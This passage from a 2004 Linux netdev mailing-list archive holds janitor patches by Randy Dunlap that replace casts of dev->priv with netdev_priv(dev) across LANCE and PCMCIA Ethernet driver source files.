lance_private *lp = (struct lance_private *)dev->priv; +{ struct lance_private *lp = netdev_priv(dev); struct lance_ioreg *IO = lp->iobase; int entry, len; struct lance_tx_head *head; @@ -988,7 +988,7 @@ static irqreturn_t lance_interrupt( int return IRQ_NONE; } - lp = (struct lance_private *)dev->priv; + lp = netdev_priv(dev); IO = lp->iobase; AREG = CSR0; @@ -1101,7 +1101,7 @@ static irqreturn_t lance_interrupt( int static int lance_rx( struct net_device *dev ) -{ struct lance_private *lp = (struct lance_private *)dev->priv; +{ struct lance_private *lp = netdev_priv(dev); int entry = lp->cur_rx & RX_RING_MOD_MASK; int i; @@ -1225,7 +1225,7 @@ static int lance_rx( struct net_device * static int lance_close( struct net_device *dev ) -{ struct lance_private *lp = (struct lance_private *)dev->priv; +{ struct lance_private *lp = netdev_priv(dev); struct lance_ioreg *IO = lp->iobase; dev->start = 0; @@ -1247,7 +1247,7 @@ static int lance_close( struct net_devic static struct net_device_stats *lance_get_stats( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); return &lp->stats; } @@ -1261,7 +1261,7 @@ static struct net_device_stats *lance_ge static void set_multicast_list( struct net_device *dev ) -{ struct lance_private *lp = (struct lance_private *)dev->priv; +{ struct lance_private *lp = netdev_priv(dev); struct lance_ioreg *IO = lp->iobase; if (!dev->start) @@ -1303,7 +1303,7 @@ static void set_multicast_list( struct n static int lance_set_mac_address( struct net_device *dev, void *addr ) -{ struct lance_private *lp = (struct lance_private *)dev->priv; +{ struct lance_private *lp = netdev_priv(dev); struct sockaddr *saddr = addr; int i; diff -puN drivers/net/declance.c~net_lance_casts drivers/net/declance.c --- linux-264-302-priv/drivers/net/declance.c~net_lance_casts 2004-03-03 12:20:02.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/declance.c 2004-03-03 12:29:44.000000000 -0800 @@ -433,7 +433,7 @@ void cp_from_buf(const int type, void *t /* Setup the Lance Rx and Tx rings */ static void lance_init_ring(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib; int leptr; int i; @@ -530,7 +530,7 @@ static int init_restart_lance(struct lan static int lance_rx(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib; volatile struct lance_rx_desc *rd = 0; unsigned char bits; @@ -617,7 +617,7 @@ static int lance_rx(struct net_device *d static void lance_tx(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib; volatile struct lance_regs *ll = lp->ll; volatile struct lance_tx_desc *td; @@ -709,7 +709,7 @@ static irqreturn_t lance_interrupt(const int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; int csr0; @@ -757,7 +757,7 @@ struct net_device *last_dev = 0; static int lance_open(struct net_device *dev) { volatile struct lance_init_block *ib = (struct lance_init_block *) (dev->mem_start); - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; int status = 0; @@ -822,7 +822,7 @@ static int lance_open(struct net_device static int lance_close(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; netif_stop_queue(dev); @@ -856,7 +856,7 @@ static int lance_close(struct net_device static inline int lance_reset(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; int status; @@ -873,7 +873,7 @@ static inline int lance_reset(struct net static void lance_tx_timeout(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; printk(KERN_ERR "%s: transmit timed out, status %04x, reset\n", @@ -884,7 +884,7 @@ static void lance_tx_timeout(struct net_ static int lance_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; volatile struct lance_init_block *ib = (struct lance_init_block *) (dev->mem_start); int entry, skblen, len; @@ -936,7 +936,7 @@ static int lance_start_xmit(struct sk_bu static struct net_device_stats *lance_get_stats(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); return &lp->stats; } @@ -982,7 +982,7 @@ static void lance_load_multicast(struct static void lance_set_multicast(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib; volatile struct lance_regs *ll = lp->ll; @@ -1048,7 +1048,7 @@ static int __init dec_lance_init(const i * alloc_etherdev ensures the data structures used by the LANCE * are aligned. */ - lp = (struct lance_private *) dev->priv; + lp = netdev_priv(dev); spin_lock_init(&lp->lock); lp->type = type; @@ -1287,7 +1287,7 @@ static void __exit dec_lance_cleanup(voi { while (root_lance_dev) { struct net_device *dev = root_lance_dev; - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); unregister_netdev(dev); #ifdef CONFIG_TC if (lp->slot >= 0) diff -puN drivers/net/hplance.c~net_lance_casts drivers/net/hplance.c --- linux-264-302-priv/drivers/net/hplance.c~net_lance_casts 2004-03-03 12:20:02.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/hplance.c 2004-03-03 12:24:34.000000000 -0800 @@ -63,7 +63,7 @@ static struct hplance_private *root_hpla static void cleanup_card(struct net_device *dev) { - struct hplance_private *lp = dev->priv; + struct hplance_private *lp = netdev_priv(dev); dio_unconfig_board(lp->scode); } @@ -97,7 +97,7 @@ struct net_device * __init hplance_probe dio_config_board(scode); hplance_init(dev, scode); if (!register_netdev(dev)) { - struct hplance_private *lp = dev->priv; + struct hplance_private *lp = netdev_priv(dev); lp->next_module = root_hplance_dev; root_hplance_dev = lp; return dev; @@ -141,7 +141,7 @@ static void __init hplance_init(struct n printk("%c%2.2x", i == 0 ? ' ' : ':', dev->dev_addr[i]); } - lp = (struct hplance_private *)dev->priv; + lp = netdev_priv(dev); lp->lance.name = (char*)name; /* discards const, shut up gcc */ lp->lance.ll = (struct lance_regs *)(va + HPLANCE_REGOFF); lp->lance.init_block = (struct lance_init_block *)(va + HPLANCE_MEMOFF); /* CPU addr */ @@ -195,7 +195,7 @@ static unsigned short hplance_readrdp(vo static int hplance_open(struct net_device *dev) { int status; - struct hplance_private *lp = (struct hplance_private *)dev->priv; + struct hplance_private *lp = netdev_priv(dev); struct hplance_reg *hpregs = (struct hplance_reg *)lp->base; status = lance_open(dev); /* call generic lance open code */ @@ -209,7 +209,7 @@ static int hplance_open(struct net_devic static int hplance_close(struct net_device *dev) { - struct hplance_private *lp = (struct hplance_private *)dev->priv; + struct hplance_private *lp = netdev_priv(dev); struct hplance_reg *hpregs = (struct hplance_reg *)lp->base; out_8(&(hpregs->status), 8); /* disable interrupts at boardlevel */ lance_close(dev); diff -puN drivers/net/sun3lance.c~net_lance_casts drivers/net/sun3lance.c --- linux-264-302-priv/drivers/net/sun3lance.c~net_lance_casts 2004-03-03 12:20:02.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/sun3lance.c 2004-03-03 12:31:02.000000000 -0800 @@ -332,7 +332,7 @@ static int __init lance_probe( struct ne return 0; } - lp = (struct lance_private *)dev->priv; + lp = netdev_priv(dev); /* XXX - leak? */ MEM = dvma_malloc_align(sizeof(struct lance_memory), 0x10000); @@ -402,7 +402,7 @@ static int __init lance_probe( struct ne static int lance_open( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); int i; DPRINTK( 2, ( "%s: lance_open()\n", dev->name )); @@ -439,7 +439,7 @@ static int lance_open( struct net_device static void lance_init_ring( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); int i; lp->lock = 0; @@ -499,7 +499,7 @@ static void lance_init_ring( struct net_ static int lance_start_xmit( struct sk_buff *skb, struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); int entry, len; struct lance_tx_head *head; unsigned long flags; @@ -646,7 +646,7 @@ static int lance_start_xmit( struct sk_b static irqreturn_t lance_interrupt( int irq, void *dev_id, struct pt_regs *fp) { struct net_device *dev = dev_id; - struct lance_private *lp = dev->priv; + struct lance_private *lp = netdev_priv(dev); int csr0; static int in_interrupt; @@ -772,7 +772,7 @@ static irqreturn_t lance_interrupt( int /* get packet, toss into skbuff */ static int lance_rx( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); int entry = lp->new_rx; /* If we own the next entry, it's a new packet. Send it up. */ @@ -870,7 +870,7 @@ static int lance_rx( struct net_device * static int lance_close( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); netif_stop_queue(dev); @@ -888,7 +888,7 @@ static int lance_close( struct net_devic static struct net_device_stats *lance_get_stats( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); return &lp->stats; } @@ -904,7 +904,7 @@ static struct net_device_stats *lance_ge /* completely untested on a sun3 */ static void set_multicast_list( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); if(netif_queue_stopped(dev)) /* Only possible if board is already started */ diff -puN drivers/net/sunlance.c~net_lance_casts drivers/net/sunlance.c --- linux-264-302-priv/drivers/net/sunlance.c~net_lance_casts 2004-03-03 12:20:02.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/sunlance.c 2004-03-03 12:26:43.000000000 -0800 @@ -313,7 +313,7 @@ static void load_csrs(struct lance_priva /* Setup the Lance Rx and Tx rings */ static void lance_init_ring_dvma(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; dma_addr_t aib = lp->init_block_dvma; __u32 leptr; @@ -370,7 +370,7 @@ static void lance_init_ring_dvma(struct static void lance_init_ring_pio(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; u32 leptr; int i; @@ -500,7 +500,7 @@ static int init_restart_lance(struct lan static void lance_rx_dvma(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_rx_desc *rd; u8 bits; @@ -563,7 +563,7 @@ static void lance_rx_dvma(struct net_dev static void lance_tx_dvma(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; int i, j; @@ -673,7 +673,7 @@ static void lance_piocopy_to_skb(struct static void lance_rx_pio(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_rx_desc *rd; unsigned char bits; @@ -735,7 +735,7 @@ static void lance_rx_pio(struct net_devi static void lance_tx_pio(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; int i, j; @@ -816,7 +816,7 @@ out: static irqreturn_t lance_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); int csr0; sbus_writew(LE_CSR0, lp->lregs + RAP); @@ -915,7 +915,7 @@ struct net_device *last_dev = 0; static int lance_open(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; int status = 0; @@ -968,7 +968,7 @@ static int lance_open(struct net_device static int lance_close(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); netif_stop_queue(dev); del_timer_sync(&lp->multicast_timer); @@ -981,7 +981,7 @@ static int lance_close(struct net_device static int lance_reset(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); int status; STOP_LANCE(lp); @@ -1102,7 +1102,7 @@ static void lance_piozero(volatile void static void lance_tx_timeout(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); printk(KERN_ERR "%s: transmit timed out, status %04x, reset\n", dev->name, sbus_readw(lp->lregs + RDP)); @@ -1112,7 +1112,7 @@ static void lance_tx_timeout(struct net_ static int lance_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; int entry, skblen, len; @@ -1165,7 +1165,7 @@ static int lance_start_xmit(struct sk_bu static struct net_device_stats *lance_get_stats(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); return &lp->stats; } @@ -1173,7 +1173,7 @@ static struct net_device_stats *lance_ge /* taken from the depca driver */ static void lance_load_multicast(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile u16 *mcast_table = (u16 *) &ib->filter; struct dev_mc_list *dmi = dev->mc_list; @@ -1223,7 +1223,7 @@ static void lance_load_multicast(struct static void lance_set_multicast(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; u16 mode; @@ -1291,7 +1291,7 @@ static void lance_free_hwresources(struc /* Ethtool support... */ static void sparc_lance_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { - struct lance_private *lp = dev->priv; + struct lance_private *lp = netdev_priv(dev); strcpy(info->driver, "sunlance"); strcpy(info->version, "2.02"); @@ -1325,7 +1325,7 @@ static int __init sparc_lance_init(struc if (!dev) return -ENOMEM; - lp = dev->priv; + lp = netdev_priv(dev); if (sparc_lance_debug && version_printed++ == 0) printk (KERN_INFO "%s", version); _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:19:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:19:47 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LJfKO018203 for ; Thu, 4 Mar 2004 13:19:41 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LJaE28994 for ; Thu, 4 Mar 2004 13:19:36 -0800 Date: Thu, 4 Mar 2004 13:18:43 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in net/pcmcia/ drivers Message-Id: <20040304131843.5126ab7f.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3746 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 24146 Lines: 673 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/pcmcia/3c574_cs.c | 28 +++--- linux-264-302-priv-rddunlap/drivers/net/pcmcia/3c589_cs.c | 26 ++--- linux-264-302-priv-rddunlap/drivers/net/pcmcia/com20020_cs.c | 6 - linux-264-302-priv-rddunlap/drivers/net/pcmcia/fmvj18x_cs.c | 22 ++-- linux-264-302-priv-rddunlap/drivers/net/pcmcia/ibmtr_cs.c | 8 - linux-264-302-priv-rddunlap/drivers/net/pcmcia/smc91c92_cs.c | 50 +++++------ 6 files changed, 70 insertions(+), 70 deletions(-) diff -puN drivers/net/pcmcia/3c574_cs.c~net_pcmcia_casts drivers/net/pcmcia/3c574_cs.c --- linux-264-302-priv/drivers/net/pcmcia/3c574_cs.c~net_pcmcia_casts 2004-03-02 15:57:38.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/pcmcia/3c574_cs.c 2004-03-02 16:02:45.000000000 -0800 @@ -283,7 +283,7 @@ static dev_link_t *tc574_attach(void) dev = alloc_etherdev(sizeof(struct el3_private)); if (!dev) return NULL; - lp = dev->priv; + lp = netdev_priv(dev); link = &lp->link; link->priv = dev; @@ -388,7 +388,7 @@ static void tc574_config(dev_link_t *lin { client_handle_t handle = link->handle; struct net_device *dev = link->priv; - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); tuple_t tuple; cisparse_t parse; unsigned short buf[32]; @@ -733,7 +733,7 @@ static void mdio_write(ioaddr_t ioaddr, /* Reset and restore all of the 3c574 registers. */ static void tc574_reset(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); int i, ioaddr = dev->base_addr; unsigned long flags; @@ -814,7 +814,7 @@ static void tc574_reset(struct net_devic static int el3_open(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); dev_link_t *link = &lp->link; if (!DEV_OK(link)) @@ -837,7 +837,7 @@ static int el3_open(struct net_device *d static void el3_tx_timeout(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; printk(KERN_NOTICE "%s: Transmit timed out!\n", dev->name); @@ -852,7 +852,7 @@ static void el3_tx_timeout(struct net_de static void pop_tx_status(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int i; @@ -877,7 +877,7 @@ static void pop_tx_status(struct net_dev static int el3_start_xmit(struct sk_buff *skb, struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); unsigned long flags; DEBUG(3, "%s: el3_start_xmit(length = %ld) called, " @@ -909,7 +909,7 @@ static int el3_start_xmit(struct sk_buff static irqreturn_t el3_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr, status; int work_budget = max_interrupt_work; int handled = 0; @@ -1002,7 +1002,7 @@ static irqreturn_t el3_interrupt(int irq static void media_check(unsigned long arg) { struct net_device *dev = (struct net_device *) arg; - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; unsigned long flags; unsigned short /* cable, */ media, partner; @@ -1074,7 +1074,7 @@ reschedule: static struct net_device_stats *el3_get_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); if (netif_device_present(dev)) { unsigned long flags; @@ -1091,7 +1091,7 @@ static struct net_device_stats *el3_get_ */ static void update_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; u8 rx, tx, up; @@ -1128,7 +1128,7 @@ static void update_stats(struct net_devi static int el3_rx(struct net_device *dev, int worklimit) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; short rx_status; @@ -1190,7 +1190,7 @@ static struct ethtool_ops netdev_ethtool /* Provide ioctl() calls to examine the MII xcvr state. */ static int el3_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; u16 *data = (u16 *)&rq->ifr_data; int phy = lp->phys & 0x1f; @@ -1259,7 +1259,7 @@ static void set_rx_mode(struct net_devic static int el3_close(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); dev_link_t *link = &lp->link; DEBUG(2, "%s: shutting down ethercard.\n", dev->name); diff -puN drivers/net/pcmcia/3c589_cs.c~net_pcmcia_casts drivers/net/pcmcia/3c589_cs.c --- linux-264-302-priv/drivers/net/pcmcia/3c589_cs.c~net_pcmcia_casts 2004-03-02 15:57:38.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/pcmcia/3c589_cs.c 2004-03-02 16:03:51.000000000 -0800 @@ -196,7 +196,7 @@ static dev_link_t *tc589_attach(void) dev = alloc_etherdev(sizeof(struct el3_private)); if (!dev) return NULL; - lp = dev->priv; + lp = netdev_priv(dev); link = &lp->link; link->priv = dev; @@ -304,7 +304,7 @@ static void tc589_config(dev_link_t *lin { client_handle_t handle = link->handle; struct net_device *dev = link->priv; - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); tuple_t tuple; cisparse_t parse; u16 buf[32], *phys_addr; @@ -526,7 +526,7 @@ static u16 read_eeprom(ioaddr_t ioaddr, */ static void tc589_set_xcvr(struct net_device *dev, int if_port) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; EL3WINDOW(0); @@ -648,7 +648,7 @@ static int el3_config(struct net_device static int el3_open(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); dev_link_t *link = &lp->link; if (!DEV_OK(link)) @@ -672,7 +672,7 @@ static int el3_open(struct net_device *d static void el3_tx_timeout(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; printk(KERN_WARNING "%s: Transmit timed out!\n", dev->name); @@ -687,7 +687,7 @@ static void el3_tx_timeout(struct net_de static void pop_tx_status(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int i; @@ -741,7 +741,7 @@ static int el3_start_xmit(struct sk_buff static irqreturn_t el3_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr, status; int i = 0, handled = 1; @@ -826,7 +826,7 @@ static irqreturn_t el3_interrupt(int irq static void media_check(unsigned long arg) { struct net_device *dev = (struct net_device *)(arg); - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; u16 media, errs; unsigned long flags; @@ -906,7 +906,7 @@ reschedule: static struct net_device_stats *el3_get_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); unsigned long flags; dev_link_t *link = &lp->link; @@ -928,7 +928,7 @@ static struct net_device_stats *el3_get_ */ static void update_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; DEBUG(2, "%s: updating the statistics.\n", dev->name); @@ -955,7 +955,7 @@ static void update_stats(struct net_devi static int el3_rx(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int worklimit = 32; short rx_status; @@ -1009,7 +1009,7 @@ static int el3_rx(struct net_device *dev static void set_multicast_list(struct net_device *dev) { - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); dev_link_t *link = &lp->link; ioaddr_t ioaddr = dev->base_addr; u16 opts = SetRxFilter | RxStation | RxBroadcast; @@ -1024,7 +1024,7 @@ static void set_multicast_list(struct ne static int el3_close(struct net_device *dev) { - struct el3_private *lp = dev->priv; + struct el3_private *lp = netdev_priv(dev); dev_link_t *link = &lp->link; ioaddr_t ioaddr = dev->base_addr; diff -puN drivers/net/pcmcia/com20020_cs.c~net_pcmcia_casts drivers/net/pcmcia/com20020_cs.c --- linux-264-302-priv/drivers/net/pcmcia/com20020_cs.c~net_pcmcia_casts 2004-03-02 15:57:38.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/pcmcia/com20020_cs.c 2004-03-02 16:04:30.000000000 -0800 @@ -179,7 +179,7 @@ static dev_link_t *com20020_attach(void) memset(info, 0, sizeof(struct com20020_dev_t)); memset(link, 0, sizeof(struct dev_link_t)); - lp = dev->priv; + lp = netdev_priv(dev); lp->timeout = timeout; lp->backplane = backplane; lp->clockp = clockp; @@ -394,7 +394,7 @@ static void com20020_config(dev_link_t * goto failed; } - lp = dev->priv; + lp = netdev_priv(dev); lp->card_name = "PCMCIA COM20020"; lp->card_flags = ARC_CAN_10MBIT; /* pretend all of them can 10Mbit */ @@ -492,7 +492,7 @@ static int com20020_event(event_t event, pcmcia_request_configuration(link->handle, &link->conf); if (link->open) { int ioaddr = dev->base_addr; - struct arcnet_local *lp = (struct arcnet_local *)dev->priv; + struct arcnet_local *lp = netdev_priv(dev); ARCRESET; } } diff -puN drivers/net/pcmcia/fmvj18x_cs.c~net_pcmcia_casts drivers/net/pcmcia/fmvj18x_cs.c --- linux-264-302-priv/drivers/net/pcmcia/fmvj18x_cs.c~net_pcmcia_casts 2004-03-02 15:57:38.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/pcmcia/fmvj18x_cs.c 2004-03-02 16:05:23.000000000 -0800 @@ -256,7 +256,7 @@ static dev_link_t *fmvj18x_attach(void) dev = alloc_etherdev(sizeof(local_info_t)); if (!dev) return NULL; - lp = dev->priv; + lp = netdev_priv(dev); link = &lp->link; link->priv = dev; @@ -394,7 +394,7 @@ static void fmvj18x_config(dev_link_t *l { client_handle_t handle = link->handle; struct net_device *dev = link->priv; - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); tuple_t tuple; cisparse_t parse; u_short buf[32]; @@ -803,7 +803,7 @@ module_exit(exit_fmvj18x_cs); static irqreturn_t fjn_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; - local_info_t *lp = dev->priv; + local_info_t *lp = netdev_priv(dev); ioaddr_t ioaddr; unsigned short tx_stat, rx_stat; @@ -862,7 +862,7 @@ static irqreturn_t fjn_interrupt(int irq static void fjn_tx_timeout(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; printk(KERN_NOTICE "%s: transmit timed out with status %04x, %s?\n", @@ -892,7 +892,7 @@ static void fjn_tx_timeout(struct net_de static int fjn_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; short length = skb->len; @@ -966,7 +966,7 @@ static int fjn_start_xmit(struct sk_buff static void fjn_reset(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int i; @@ -1052,7 +1052,7 @@ static void fjn_reset(struct net_device static void fjn_rx(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = netdev_priv(dev); ioaddr_t ioaddr = dev->base_addr; int boguscount = 10; /* 5 -> 10: by agy 19940922 */ @@ -1181,7 +1181,7 @@ static int fjn_config(struct net_device static int fjn_open(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = netdev_priv(dev); dev_link_t *link = &lp->link; DEBUG(4, "fjn_open('%s').\n", dev->name); @@ -1206,7 +1206,7 @@ static int fjn_open(struct net_device *d static int fjn_close(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = netdev_priv(dev); dev_link_t *link = &lp->link; ioaddr_t ioaddr = dev->base_addr; @@ -1239,7 +1239,7 @@ static int fjn_close(struct net_device * static struct net_device_stats *fjn_get_stats(struct net_device *dev) { - local_info_t *lp = (local_info_t *)dev->priv; + local_info_t *lp = netdev_priv(dev); return &lp->stats; } /* fjn_get_stats */ @@ -1252,7 +1252,7 @@ static struct net_device_stats *fjn_get_ static void set_rx_mode(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = netdev_priv(dev); u_char mc_filter[8]; /* Multicast hash filter */ u_long flags; int i; diff -puN drivers/net/pcmcia/ibmtr_cs.c~net_pcmcia_casts drivers/net/pcmcia/ibmtr_cs.c --- 